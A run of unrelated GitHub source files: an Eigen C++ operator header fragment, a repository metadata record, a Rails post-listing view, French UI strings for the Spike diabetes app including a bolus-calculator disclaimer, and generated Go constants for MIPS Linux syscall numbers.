template<typename OtherDerived> inline const EIGEN_CWISE_BINOP_RETURN_TYPE(std::equal_to) Cwise<ExpressionType>::operator==(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_BINOP_RETURN_TYPE(std::equal_to)(_expression(), other.derived()); } /** \deprecated ArrayBase::operator!=() */ template<typename ExpressionType> template<typename OtherDerived> inline const EIGEN_CWISE_BINOP_RETURN_TYPE(std::not_equal_to) Cwise<ExpressionType>::operator!=(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_BINOP_RETURN_TYPE(std::not_equal_to)(_expression(), other.derived()); } // comparisons to scalar value /** \deprecated ArrayBase::operator<(Scalar) */ template<typename ExpressionType> inline const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less) Cwise<ExpressionType>::operator<(Scalar s) const { return EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less)(_expression(), typename ExpressionType::ConstantReturnType(_expression().rows(), _expression().cols(), s)); } /** \deprecated ArrayBase::operator<=(Scalar) */ template<typename ExpressionType> inline const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less_equal) Cwise<ExpressionType>::operator<=(Scalar s) const { return EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less_equal)(_expression(), typename ExpressionType::ConstantReturnType(_expression().rows(), _expression().cols(), s)); } /** \deprecated ArrayBase::operator>(Scalar) */ template<typename ExpressionType> inline const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater) Cwise<ExpressionType>::operator>(Scalar s) const { return EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater)(_expression(), typename ExpressionType::ConstantReturnType(_expression().rows(), _expression().cols(), s)); } /** \deprecated ArrayBase::operator>=(Scalar) */ template<typename ExpressionType> inline const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater_equal) Cwise<ExpressionType>::operator>=(Scalar s) const { return EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater_equal)(_expression(), typename ExpressionType::ConstantReturnType(_expression().rows(), _expression().cols(), s)); } /** \deprecated ArrayBase::operator==(Scalar) */ template<typename ExpressionType> inline const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::equal_to) Cwise<ExpressionType>::operator==(Scalar s) const { return EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::equal_to)(_expression(), typename ExpressionType::ConstantReturnType(_expression().rows(), _expression().cols(), s)); } /** \deprecated ArrayBase::operator!=(Scalar) */ template<typename ExpressionType> inline const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::not_equal_to) Cwise<ExpressionType>::operator!=(Scalar s) const { return EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::not_equal_to)(_expression(), typename ExpressionType::ConstantReturnType(_expression().rows(), _expression().cols(), s)); } // scalar addition /** \deprecated ArrayBase::operator+(Scalar) */ template<typename ExpressionType> inline const typename Cwise<ExpressionType>::ScalarAddReturnType Cwise<ExpressionType>::operator+(const Scalar& scalar) const { return typename Cwise<ExpressionType>::ScalarAddReturnType(m_matrix, internal::scalar_add_op<Scalar>(scalar)); } /** \deprecated ArrayBase::operator+=(Scalar) */ template<typename ExpressionType> inline ExpressionType& Cwise<ExpressionType>::operator+=(const Scalar& scalar) { return m_matrix.const_cast_derived() = *this + scalar; } /** \deprecated ArrayBase::operator-(Scalar) */ template<typename ExpressionType> inline const typename Cwise<ExpressionType>::ScalarAddReturnType Cwise<ExpressionType>::operator-(const Scalar& scalar) const { return *this + (-scalar); } /** \deprecated ArrayBase::operator-=(Scalar) */ template<typename ExpressionType> inline ExpressionType& Cwise<ExpressionType>::operator-=(const Scalar& scalar) { return m_matrix.const_cast_derived() = *this - scalar; } } // end namespace Eigen #endif // EIGEN_ARRAY_CWISE_OPERATORS_H
{ "pile_set_name": "Github" }
{ "created_at": "2015-02-27T22:27:38.664207", "description": "A simple hack to use Twitter Bootstrap with Trac", "fork": false, "full_name": "chevah/trac-bootstrap-theme", "language": "Shell", "updated_at": "2015-03-10T07:01:03.762220" }
{ "pile_set_name": "Github" }
<h1>Listing posts</h1> <table> <tr> <th>Title</th> <th>Body</th> <th></th> <th></th> <th></th> </tr> <% @posts.each do |post| %> <tr> <td><%= post.title %></td> <td><%= post.body %></td> <td><%= link_to 'Show', post %></td> <td><%= link_to 'Edit', edit_post_path(post) %></td> <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td> </tr> <% end %> </table> <br /> <%= link_to 'New Post', new_post_path %>
{ "pile_set_name": "Github" }
treatment_name_bolus=Bolus treatment_name_carbs=Glucides treatment_name_bg_check=Contrôle Glycémie treatment_name_meal=Repas treatment_name_note=Note treatment_name_sensor_start=Démarrage Capteur treatment_name_calibration=Étalonnage treatment_time_label=Heure treatment_insulin_label=Insuline treatment_insulin_amount_label=Quantité (U) treatment_carbs_amount_label=Quantité (g) treatment_value_label=Valeur treatment_note_label=Note out_of_range_treatment_time_message=L'heure sélectionnée est en dehors de l'intervalle de temps du graphique\! Veuillez sélectionner une autre heure. sensor_calibration_note=Étalonnage du Capteur workflow_email_body=<p>Bonjour ami Spiker\!</p><h2>Today Widget / Apple Watch</h2><p>Assurez-vous d'avoir installé l'application Workflow de votre appareil. Vous pouvez l'obtenir <a href\="https\://itunes.apple.com/us/app/workflow/id915249334">ici</a>, elle est gratuite. Ajoutez le widget Workflow Today. Si vous avez une Apple Watch et souhaitez pouvoir ajouter des traitements directement depuis votre montre, installez Workflow directement depuis l'application Watch de votre appareil.</p><p>Pour configurer à la fois le widget et l'Apple Watch, cliquez sur les liens suivants un par un. Vous pouvez changer les couleurs ou les titres des workflows mais assurez-vous de ne pas modifier leur configuration. Chaque Workflow sur lequel vous cliquez sera ajouté automatiquement à votre widget et votre Apple Watch, vous avez juste besoin de cliquer une fois sur chaque workflow et sélectionner "GET WORKFLOW".</p><ul><li><a href\="https\://workflow.is/workflows/2b05e1cba2e049e38ff67b0b817b5e48">Bolus Spike</a></li><li><a href\="https\://workflow.is/workflows/1db21564e8b142e7ab67c98e9703a754">Glucides Spike</a></li><li><a href\="https\://workflow.is/workflows/9c3ab62c2f5b484d9bb6868082345a21">Repas Spike</a></li><li><a href\="https\://workflow.is/workflows/7985ce0f11ee4ef9ad08f02005b48e29">Contrôle Glycémie Spike</a></li><li><a href\="https\://workflow.is/workflows/c67629c5e84f430c95f10c7b8f29c30b">Note Spike</a></li></ul><p>Pour ajouter plusieurs notes prédéfinies vous pouvez cliquer et importer le workflow "Note Spike" plusieurs fois et ensuite changer le texte, titre et icône de la note comme vous le souhaitez.</p><h2>Pebble</h2><p>Téléchargez et installez une des applications Pebble suivantes. Vous devez le faire depuis l'application Pebble de votre appareil.</p><ul><li><a href\="https\://apps.getpebble.com/en_US/application/571c0848c2ab00c513000025">PinIt</a></li><li><a href\="https\://apps.getpebble.com/en_US/application/568fb97705f633b362000045">CGM CarePortal</a></li><li><a href\="https\://apps.getpebble.com/en_US/application/57472250ab434df47b00000a">CGM CarePortal 5.4</a></li></ul><p>Configurez l'application pour qu'elle pointe vers l'URL Nightscout suivante\: http\://127.0.0.1\:1979</p><h2>Note</h2><p>N'oubliez pas d'activer le serveur interne HTTP dans Paramètres->Intégration. Pas besoin de définir un nom d'utilisateur/mot de passe pour pouvoir ajouter des traitement depuis le Today Widget et/ou Pebble/Apple Watch.</p><p>Bonne journée\!</p><p>App Spike</p> workflow_email_subject=Configuration Traitements Spike default_colors_label=Charger Couleurs par Défaut read_instructions_label=Lire Instructions profile_menu_label=Profil display_treatments_on_chart_label=Afficher Traitements sur le Graphique display_basals_on_chart_label=Afficher Basal sur le Graphique display_iob_label=Afficher IOB display_cob_label=Afficher COB download_ns_treatments_label=Télécharger Traitements NS download_ns_basals_label=Télécharger Basal NS insulin_marker_color_label=Couleur Marqueur Insuline carbs_marker_color_label=Couleur Marqueur Glucides bg_check_marker_color_label=Couleur Marqueur Contrôle Glycémie sensor_check_marker_color_label=Couleur Marqueur Capteur stroke_marker_color_label=Couleur Trait pill_color_label=Couleur Capsule treatments_screen_title=Traitements move_button_label=Déplacer delete_button_label=Supprimer out_of_bounds_treatment=L'heure sélectionnée est en dehors de l'intervalle de temps du graphique\! Veuillez sélectionner une autre heure. configure_insulins_button_label=Configurer Insulines enter_units_label=Saisir Unités enter_note_label=Saisir Note enter_bg_label=Saisir Glycémie enter_grams_label=Saisir Grammes enter_meal_label=Saisir Repas non_numeric_insulin=La quantité d'insuline doit être un nombre\! non_numeric_carbs=La quantité de glucides doit être un nombre\! non_numeric_glucose=La glycémie doit être un nombre\! empty_note=La note ne peut pas être vide\! carbs_text_input_prompt=Glucides (g) insulin_text_input_prompt=Insuline(U) nightscout_insulin=Insuline Nightscout nightscout_profile_not_set=Vous n'avez pas créé de profil dans Nightscout pour l'instant. Spike ne peut pas synchroniser les traitements tant qu'un profil n'est pas créé. loop_openaps_user_label=Utilisateur Loop/OpenAPS info_pill=Capsule Info carbs_type_label=Type Glucides carbs_fast_label=Rapides carbs_medium_label=Moyens carbs_slow_label=Lents carbs_unknown_label=Inconnu minutes_small_label=min iob_label=IOB cob_label=COB bolus_wizard_settings_label=Calculateur Bolus calculations_label=Calculs insulin_precision_label=Précision Insuline carbs_precision_label=Précision Glucides load_foods_button_label=Charger Aliments food_manager_label=Gestion des Aliments bolus_wizard_allowed_margin=Marge +/- Autorisée par rapport à Cible Glycémique bolus_wizard_auto_account_for_iob=Tenir Compte de IOB Automatiquement bolus_wizard_auto_account_for_cob=Tenir Compte de COB Automatiquement bolus_wizard_auto_account_for_trend=Tenir Compte de la Tendance Automatiquement final_calculations_label=Calculs Finaux blood_glucose_label=Glycémie foods_label=Aliments carbs_offset_in_minutes_label=Décalage Glucides (Min) insulin_type_label=Type d'Insuline exercise_adjustment=Ajustement pour Exercice time_label=Heure before_exercise_label=Avant Exercice after_exercise_label=Après Exercice exercise_intensity_label=Intensité exercise_intensity_low_label=Basse exercise_intensity_moderate_label=Modérée exercise_intensity_high_label=Haute exercise_duration_label=Durée exercise_reduction_label=Réduction (%) sickness_adjustment_label=Ajustement pour Maladie sickness_increase_label=Augmentation (%) extra_correction_label=Correction Additionnelle extra_correction_amount_label=Quantité (g/U) extended_bolus_reminder_label=Rappel profile_not_configured_label=Profil non configuré\! disclaimer_alert_title=Avertissement disclaimer_body_label=VEUILLEZ LIRE ATTENTIVEMENT ET INTEGRALEMENT\!\nLe calculateur de bolus fournit des informations et du contenu qui ont été assemblés avec notre plus grand soin et le meilleur de nos connaissances provenant de sources internes et externes. Nous souhaitons néanmoins souligner que le calculateur de bolus doit être uniquement utilisé dans un but informatif et pour améliorer la compréhension de votre diabète, mais ne peut remplacer une consultation avec un professionnel de santé. Le calculateur doit être utilisé dans un but de recherche uniquement\! En aucun cas, Spike ne fournit des recommandations thérapeutiques ou constitue un avis médical. Pour des questions portant sur votre traitement et les valeurs des paramètres les mieux adaptées à votre état (ISF, I\:C, etc.), nous vous conseillons de contacter un professionnel de santé. Aucun contenu - qu'il soit fourni par Spike directement, nos partenaires ou des utilisateurs - ne doit être utilisé pour compléter ou se substituer à l'avis d'un professionnel de santé.\n\nLa proposition de bolus par le calculateur est uniquement une suggestion. Veuillez toujours comparer la quantité suggérée avec ce que vous ressentez et ajuster le dosage recommandé en conséquence. Veuillez toujours consulter votre professionnel de santé avant de modifier votre traitement pour le diabète.\n\nLes paramètres du calculateur doivent être définis par un professionnel de santé. Veuillez ne pas fixer ou modifier les paramètres sans consulter un professionnel de santé. Des paramètres erronés entraînent toujours une proposition de bolus inadaptée.\n\nIl est important de sélectionner le bon rapport Insuline/Glucides (I\:C) ainsi que le bon facteur de sensibilité à l'insuline (ISF). Si l'I\:C ou l'ISF sélectionnés sont erronés, les suggestions de bolus seront inadaptées.\n\nL'utilisation du calculateur de bolus nécessite de comprendre le fonctionnement de l'insuline rapide. Une mauvaise utilisation ou compréhension du calcul ou du dosage peut entraîner un calcul d'insuline erroné.\n\nLe calculateur ne peut pas prendre en compte tous les facteurs mal renseignés pouvant affecter votre besoin en insuline. Il peut s'agir de données incorrectes (par exemple une mauvaise glycémie), de paramètres incorrects, d'insuline présente et non enregistrée dans Spike, ou d'autres données manquantes. Veuillez toujours comparer la proposition avec votre état actuel.\n\nLe calculateur ne peut pas prendre en compte les changements inhabituels de votre métabolisme résultant par exemple d'un régime extrême. Veuillez toujours comparer la suggestion avec votre état actuel.\n\nVeuillez vous assurez que les données renseignées dans le calculateur sont correctes. Des données incorrectes entraînent des suggestions de bolus erronées.\n\nVeuillez ne pas modifier votre traitement sur la base d'un seul résultat ne correspondant pas à votre état ressenti ou si vous pensez que la suggestion est inadaptée.\n\nLe calculateur est conçu pour suggérer des doses d'insuline rapides. Veuillez ne pas utiliser celui-ci pour des doses d'insulines intermédiaires ou longues (basales).\n\nLe calculateur ne peut pas prendre en compte les instabilités provoquées par votre traitement par insuline basale. Veuillez ne pas utiliser le calculateur si votre traitement par insuline basale n'est pas équilibré ou sous contrôle.\n\nEn acceptant les conditions indiquées ci-dessus, vous reconnaissez les avoir lues et acceptées. Tous les calculs doivent être confirmés avant utilisation. Les résultats suggérés ne remplacent pas un avis médical. Ni l'auteur, ni aucune autre partie impliquée dans la conception ou la publication de Spike ou du calculateur de bolus ne peut être tenu responsable dans le cas d'une bonne ou d'une mauvaise utilisation.\n\nNous recommandons fortement de ne pas utiliser le calculateur de bolus si votre capteur vous indique des valeurs incorrectes. Cela a tendance à se produire au cours des premières 24 à 48h après insertion ou lorsque le capteur approche de sa fin.\n\nLe calculateur de bolus est uniquement un outil de recherche et ne doit en aucun cas être utilisé en situation réelle. extended_bolus_reminder_notification_body=Ceci est un rappel pour votre bolus retard. missing_insulins_label=Pour pouvoir ajouter des traitements vous devez d'abord configurer vos insulines. Pour ce faire, veuillez appuyer sur le bouton Configurer Insulines. projected_outcome_label=Résultat attendu glucose_in_target_label=Glycémie dans la cible. glucose_in_target_or_close_label=Glycémie dans la cible ou à moins de {margin_error_do_not_translate_this_word} de la cible. glucose_outcome_without_extra_treatment=Résultat sans traitement additionnel glucose_outcome_with_calculated_treatment=Résultat avec le traitement calculé carbs_needed=Glucides requis extra_carbs_needed=Glucides additionnels requis insulin_equivalent=Équivalent Insuline target_not_reachable=Les paramètres actuels ne permettent pas d''atteindre un niveau de glycémie cible de {glucose_target_do_not_translate_this_word} ou un niveau proche à moins de {margin_error_do_not_translate_this_word} de la cible. insulin_needed=Insuline requise calculator_in_manual_mode=Le calculateur est en mode manuel. Les données critiques comme la glycémie, la tendance, l''IOB et le COB ne seront pas automatiquement mises à jour avant que les montants suggérés d''insuline et de glucide ne soient définis.\n(Insuline\: {insulin_do_not_translate_this_word}U, Glucides\: {carbs_do_not_translate_this_word}g). suggestions_font_color_label=Couleur Police Suggestions suggestions_at_the_top_label=Suggestions en Haut de Page no_suggestions_spaces_label=Supprimer Espace entre les Suggestions meal_with_extended_bolus=Repas Prolongé extended_bolus_treatment=Bolus Retard extended_bolus_split_label=Diviser extended_bolus_duration_minutes_label=Minutes extended_bolus_small=Retard treatment_insertion_error_label=Une erreur inconnue s'est produite. Veuillez réessayer\! treatment_name_exercise=Exercice treatment_name_insulin_cartridge_change=Réservoir Insuline treatment_name_pump_site_change=Site Pompe treatment_name_pump_battery_change=Batterie Pompe non_numeric_duration=La durée doit être un nombre \! exercise_duration_prompt=Durée (Minutes) treatment_name_temp_basal=Basal Temporaire treatment_name_temp_basal_start=Début Basal Temporaire treatment_name_temp_basal_end=Fin Basal Temporaire treatment_name_basal=Basal treatment_insulin_amount_relative_temp_basal_label=Quantité (%) basal_amount_absolute_label=Absolu (U) basal_amount_absolute_prompt=Quantité en Unités basal_amount_relative_label=Relatif (%) basal_amount_relative_prompt=Variation Basal en % basal_amount_label=Quantité basal_delivery_rate=Débit basal_units_per_hour=U/h basal_rate=Débit Basal delivered_basal=Basal Injecté
{ "pile_set_name": "Github" }
// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. // +build mips,linux package unix const ( SYS_SYSCALL = 4000 SYS_EXIT = 4001 SYS_FORK = 4002 SYS_READ = 4003 SYS_WRITE = 4004 SYS_OPEN = 4005 SYS_CLOSE = 4006 SYS_WAITPID = 4007 SYS_CREAT = 4008 SYS_LINK = 4009 SYS_UNLINK = 4010 SYS_EXECVE = 4011 SYS_CHDIR = 4012 SYS_TIME = 4013 SYS_MKNOD = 4014 SYS_CHMOD = 4015 SYS_LCHOWN = 4016 SYS_BREAK = 4017 SYS_UNUSED18 = 4018 SYS_LSEEK = 4019 SYS_GETPID = 4020 SYS_MOUNT = 4021 SYS_UMOUNT = 4022 SYS_SETUID = 4023 SYS_GETUID = 4024 SYS_STIME = 4025 SYS_PTRACE = 4026 SYS_ALARM = 4027 SYS_UNUSED28 = 4028 SYS_PAUSE = 4029 SYS_UTIME = 4030 SYS_STTY = 4031 SYS_GTTY = 4032 SYS_ACCESS = 4033 SYS_NICE = 4034 SYS_FTIME = 4035 SYS_SYNC = 4036 SYS_KILL = 4037 SYS_RENAME = 4038 SYS_MKDIR = 4039 SYS_RMDIR = 4040 SYS_DUP = 4041 SYS_PIPE = 4042 SYS_TIMES = 4043 SYS_PROF = 4044 SYS_BRK = 4045 SYS_SETGID = 4046 SYS_GETGID = 4047 SYS_SIGNAL = 4048 SYS_GETEUID = 4049 SYS_GETEGID = 4050 SYS_ACCT = 4051 SYS_UMOUNT2 = 4052 SYS_LOCK = 4053 SYS_IOCTL = 4054 SYS_FCNTL = 4055 SYS_MPX = 4056 SYS_SETPGID = 4057 SYS_ULIMIT = 4058 SYS_UNUSED59 = 4059 SYS_UMASK = 4060 SYS_CHROOT = 4061 SYS_USTAT = 4062 SYS_DUP2 = 4063 SYS_GETPPID = 4064 SYS_GETPGRP = 4065 SYS_SETSID = 4066 SYS_SIGACTION = 4067 SYS_SGETMASK = 4068 SYS_SSETMASK = 4069 SYS_SETREUID = 4070 SYS_SETREGID = 4071 SYS_SIGSUSPEND = 4072 SYS_SIGPENDING = 4073 SYS_SETHOSTNAME = 4074 SYS_SETRLIMIT = 4075 SYS_GETRLIMIT = 4076 SYS_GETRUSAGE = 4077 SYS_GETTIMEOFDAY = 4078 SYS_SETTIMEOFDAY = 4079 SYS_GETGROUPS = 4080 SYS_SETGROUPS = 4081 SYS_RESERVED82 = 4082 SYS_SYMLINK = 4083 SYS_UNUSED84 = 4084 SYS_READLINK = 4085 SYS_USELIB = 4086 SYS_SWAPON = 4087 SYS_REBOOT = 4088 SYS_READDIR = 4089 SYS_MMAP = 4090 SYS_MUNMAP = 4091 SYS_TRUNCATE = 4092 SYS_FTRUNCATE = 4093 SYS_FCHMOD = 4094 SYS_FCHOWN = 4095 SYS_GETPRIORITY = 4096 SYS_SETPRIORITY = 4097 SYS_PROFIL = 4098 SYS_STATFS = 4099 SYS_FSTATFS = 4100 SYS_IOPERM = 4101 SYS_SOCKETCALL = 4102 SYS_SYSLOG = 4103 SYS_SETITIMER = 4104 SYS_GETITIMER = 4105 SYS_STAT = 4106 SYS_LSTAT = 4107 SYS_FSTAT = 4108 SYS_UNUSED109 = 4109 SYS_IOPL = 4110 SYS_VHANGUP = 4111 SYS_IDLE = 4112 SYS_VM86 = 4113 SYS_WAIT4 = 4114 SYS_SWAPOFF = 4115 SYS_SYSINFO = 4116 SYS_IPC = 4117 SYS_FSYNC = 4118 SYS_SIGRETURN = 4119 SYS_CLONE = 4120 SYS_SETDOMAINNAME = 4121 SYS_UNAME = 4122 SYS_MODIFY_LDT = 4123 SYS_ADJTIMEX = 4124 SYS_MPROTECT = 4125 SYS_SIGPROCMASK = 4126 SYS_CREATE_MODULE = 4127 SYS_INIT_MODULE = 4128 SYS_DELETE_MODULE = 4129 SYS_GET_KERNEL_SYMS = 4130 SYS_QUOTACTL = 4131 SYS_GETPGID = 4132 SYS_FCHDIR = 4133 SYS_BDFLUSH = 4134 SYS_SYSFS = 4135 SYS_PERSONALITY = 4136 SYS_AFS_SYSCALL = 4137 SYS_SETFSUID = 4138 SYS_SETFSGID = 4139 SYS__LLSEEK = 4140 SYS_GETDENTS = 4141 SYS__NEWSELECT = 4142 SYS_FLOCK = 4143 SYS_MSYNC = 4144 SYS_READV = 4145 SYS_WRITEV = 4146 SYS_CACHEFLUSH = 4147 SYS_CACHECTL = 4148 SYS_SYSMIPS = 4149 SYS_UNUSED150 = 4150 SYS_GETSID = 4151 SYS_FDATASYNC = 4152 SYS__SYSCTL = 4153 SYS_MLOCK = 4154 SYS_MUNLOCK = 4155 SYS_MLOCKALL = 4156 SYS_MUNLOCKALL = 4157 SYS_SCHED_SETPARAM = 4158 SYS_SCHED_GETPARAM = 4159 SYS_SCHED_SETSCHEDULER = 4160 SYS_SCHED_GETSCHEDULER = 4161 SYS_SCHED_YIELD = 4162 SYS_SCHED_GET_PRIORITY_MAX = 4163 SYS_SCHED_GET_PRIORITY_MIN = 4164 SYS_SCHED_RR_GET_INTERVAL = 4165 SYS_NANOSLEEP = 4166 SYS_MREMAP = 4167 SYS_ACCEPT = 4168 SYS_BIND = 4169 SYS_CONNECT = 4170 SYS_GETPEERNAME = 4171 SYS_GETSOCKNAME = 4172 SYS_GETSOCKOPT = 4173 SYS_LISTEN = 4174 SYS_RECV = 4175 SYS_RECVFROM = 4176 SYS_RECVMSG = 4177 SYS_SEND = 4178 SYS_SENDMSG = 4179 SYS_SENDTO = 4180 SYS_SETSOCKOPT = 4181 SYS_SHUTDOWN = 4182 SYS_SOCKET = 4183 SYS_SOCKETPAIR = 4184 SYS_SETRESUID = 4185 SYS_GETRESUID = 4186 SYS_QUERY_MODULE = 4187 SYS_POLL = 4188 SYS_NFSSERVCTL = 4189 SYS_SETRESGID = 4190 SYS_GETRESGID = 4191 SYS_PRCTL = 4192 SYS_RT_SIGRETURN = 4193 SYS_RT_SIGACTION = 4194 SYS_RT_SIGPROCMASK = 4195 SYS_RT_SIGPENDING = 4196 SYS_RT_SIGTIMEDWAIT = 4197 SYS_RT_SIGQUEUEINFO = 4198 SYS_RT_SIGSUSPEND = 4199 SYS_PREAD64 = 4200 SYS_PWRITE64 = 4201 SYS_CHOWN = 4202 SYS_GETCWD = 4203 SYS_CAPGET = 4204 SYS_CAPSET = 4205 SYS_SIGALTSTACK = 4206 SYS_SENDFILE = 4207 SYS_GETPMSG = 4208 SYS_PUTPMSG = 4209 SYS_MMAP2 = 4210 SYS_TRUNCATE64 = 4211 SYS_FTRUNCATE64 = 4212 SYS_STAT64 = 4213 SYS_LSTAT64 = 4214 SYS_FSTAT64 = 4215 SYS_PIVOT_ROOT = 4216 SYS_MINCORE = 4217 SYS_MADVISE = 4218 SYS_GETDENTS64 = 4219 SYS_FCNTL64 = 4220 SYS_RESERVED221 = 4221 SYS_GETTID = 4222 SYS_READAHEAD = 4223 SYS_SETXATTR = 4224 SYS_LSETXATTR = 4225 SYS_FSETXATTR = 4226 SYS_GETXATTR = 4227 SYS_LGETXATTR = 4228 SYS_FGETXATTR = 4229 SYS_LISTXATTR = 4230 SYS_LLISTXATTR = 4231 SYS_FLISTXATTR = 4232 SYS_REMOVEXATTR = 4233 SYS_LREMOVEXATTR = 4234 SYS_FREMOVEXATTR = 4235 SYS_TKILL = 4236 SYS_SENDFILE64 = 4237 SYS_FUTEX = 4238 SYS_SCHED_SETAFFINITY = 4239 SYS_SCHED_GETAFFINITY = 4240 SYS_IO_SETUP = 4241 SYS_IO_DESTROY = 4242 SYS_IO_GETEVENTS = 4243 SYS_IO_SUBMIT = 4244 SYS_IO_CANCEL = 4245 SYS_EXIT_GROUP = 4246 SYS_LOOKUP_DCOOKIE = 4247 SYS_EPOLL_CREATE = 4248 SYS_EPOLL_CTL = 4249 SYS_EPOLL_WAIT = 4250 SYS_REMAP_FILE_PAGES = 4251 SYS_SET_TID_ADDRESS = 4252 SYS_RESTART_SYSCALL = 4253 SYS_FADVISE64 = 4254 SYS_STATFS64 = 4255 SYS_FSTATFS64 = 4256 SYS_TIMER_CREATE = 4257 SYS_TIMER_SETTIME = 4258 SYS_TIMER_GETTIME = 4259 SYS_TIMER_GETOVERRUN = 4260 SYS_TIMER_DELETE = 4261 SYS_CLOCK_SETTIME = 4262 SYS_CLOCK_GETTIME = 4263 SYS_CLOCK_GETRES = 4264 SYS_CLOCK_NANOSLEEP = 4265 SYS_TGKILL = 4266 SYS_UTIMES = 4267 SYS_MBIND = 4268 SYS_GET_MEMPOLICY = 4269 SYS_SET_MEMPOLICY = 4270 SYS_MQ_OPEN = 4271 SYS_MQ_UNLINK = 4272 SYS_MQ_TIMEDSEND = 4273 SYS_MQ_TIMEDRECEIVE = 4274 SYS_MQ_NOTIFY = 4275 SYS_MQ_GETSETATTR = 4276 SYS_VSERVER = 4277 SYS_WAITID = 4278 SYS_ADD_KEY = 4280 SYS_REQUEST_KEY = 4281 SYS_KEYCTL = 4282 SYS_SET_THREAD_AREA = 4283 SYS_INOTIFY_INIT = 4284 SYS_INOTIFY_ADD_WATCH = 4285 SYS_INOTIFY_RM_WATCH = 4286 SYS_MIGRATE_PAGES = 4287 SYS_OPENAT = 4288 SYS_MKDIRAT = 4289 SYS_MKNODAT = 4290 SYS_FCHOWNAT = 4291 SYS_FUTIMESAT = 4292 SYS_FSTATAT64 = 4293 SYS_UNLINKAT = 4294 SYS_RENAMEAT = 4295 SYS_LINKAT = 4296 SYS_SYMLINKAT = 4297 SYS_READLINKAT = 4298 SYS_FCHMODAT = 4299 SYS_FACCESSAT = 4300 SYS_PSELECT6 = 4301 SYS_PPOLL = 4302 SYS_UNSHARE = 4303 SYS_SPLICE = 4304 SYS_SYNC_FILE_RANGE = 4305 SYS_TEE = 4306 SYS_VMSPLICE = 4307 SYS_MOVE_PAGES = 4308 SYS_SET_ROBUST_LIST = 4309 SYS_GET_ROBUST_LIST = 4310 SYS_KEXEC_LOAD = 4311 SYS_GETCPU = 4312 SYS_EPOLL_PWAIT = 4313 SYS_IOPRIO_SET = 4314 SYS_IOPRIO_GET = 4315 SYS_UTIMENSAT = 4316 SYS_SIGNALFD = 4317 SYS_TIMERFD = 4318 SYS_EVENTFD = 4319 SYS_FALLOCATE = 4320 SYS_TIMERFD_CREATE = 4321 SYS_TIMERFD_GETTIME = 4322 SYS_TIMERFD_SETTIME = 4323 SYS_SIGNALFD4 = 4324 SYS_EVENTFD2 = 4325 SYS_EPOLL_CREATE1 = 4326 SYS_DUP3 = 4327 SYS_PIPE2 = 4328 SYS_INOTIFY_INIT1 = 4329 SYS_PREADV = 4330 SYS_PWRITEV = 4331 SYS_RT_TGSIGQUEUEINFO = 4332 SYS_PERF_EVENT_OPEN = 4333 SYS_ACCEPT4 = 4334 SYS_RECVMMSG = 4335 SYS_FANOTIFY_INIT = 4336 SYS_FANOTIFY_MARK = 4337 SYS_PRLIMIT64 = 4338 SYS_NAME_TO_HANDLE_AT = 4339 SYS_OPEN_BY_HANDLE_AT = 4340 SYS_CLOCK_ADJTIME = 4341 SYS_SYNCFS = 4342 SYS_SENDMMSG = 4343 SYS_SETNS = 4344 SYS_PROCESS_VM_READV = 4345 SYS_PROCESS_VM_WRITEV = 4346 SYS_KCMP = 4347 SYS_FINIT_MODULE = 4348 SYS_SCHED_SETATTR = 4349 SYS_SCHED_GETATTR = 4350 SYS_RENAMEAT2 = 4351 SYS_SECCOMP = 4352 SYS_GETRANDOM = 4353 SYS_MEMFD_CREATE = 4354 SYS_BPF = 4355 SYS_EXECVEAT = 4356 SYS_USERFAULTFD = 4357 SYS_MEMBARRIER = 4358 SYS_MLOCK2 = 4359 SYS_COPY_FILE_RANGE = 4360 SYS_PREADV2 = 4361 SYS_PWRITEV2 = 4362 SYS_PKEY_MPROTECT = 4363 SYS_PKEY_ALLOC = 4364 SYS_PKEY_FREE = 4365 SYS_STATX = 4366 SYS_RSEQ = 4367 SYS_IO_PGETEVENTS = 4368 SYS_SEMGET = 4393 SYS_SEMCTL = 4394 SYS_SHMGET = 4395 SYS_SHMCTL = 4396 SYS_SHMAT = 4397 SYS_SHMDT = 4398 SYS_MSGGET = 4399 SYS_MSGSND = 4400 SYS_MSGRCV = 4401 SYS_MSGCTL = 4402 SYS_CLOCK_GETTIME64 = 4403 SYS_CLOCK_SETTIME64 = 4404 SYS_CLOCK_ADJTIME64 = 4405 SYS_CLOCK_GETRES_TIME64 = 4406 SYS_CLOCK_NANOSLEEP_TIME64 = 4407 SYS_TIMER_GETTIME64 = 4408 SYS_TIMER_SETTIME64 = 4409 SYS_TIMERFD_GETTIME64 = 4410 SYS_TIMERFD_SETTIME64 = 4411 SYS_UTIMENSAT_TIME64 = 4412 SYS_PSELECT6_TIME64 = 4413 SYS_PPOLL_TIME64 = 4414 SYS_IO_PGETEVENTS_TIME64 = 4416 SYS_RECVMMSG_TIME64 = 4417 SYS_MQ_TIMEDSEND_TIME64 = 4418 SYS_MQ_TIMEDRECEIVE_TIME64 = 4419 SYS_SEMTIMEDOP_TIME64 = 4420 SYS_RT_SIGTIMEDWAIT_TIME64 = 4421 SYS_FUTEX_TIME64 = 4422 SYS_SCHED_RR_GET_INTERVAL_TIME64 = 4423 SYS_PIDFD_SEND_SIGNAL = 4424 SYS_IO_URING_SETUP = 4425 SYS_IO_URING_ENTER = 4426 SYS_IO_URING_REGISTER = 4427 SYS_OPEN_TREE = 4428 SYS_MOVE_MOUNT = 4429 SYS_FSOPEN = 4430 SYS_FSCONFIG = 4431 SYS_FSMOUNT = 4432 SYS_FSPICK = 4433 SYS_PIDFD_OPEN = 4434 )
{ "pile_set_name": "Github" }
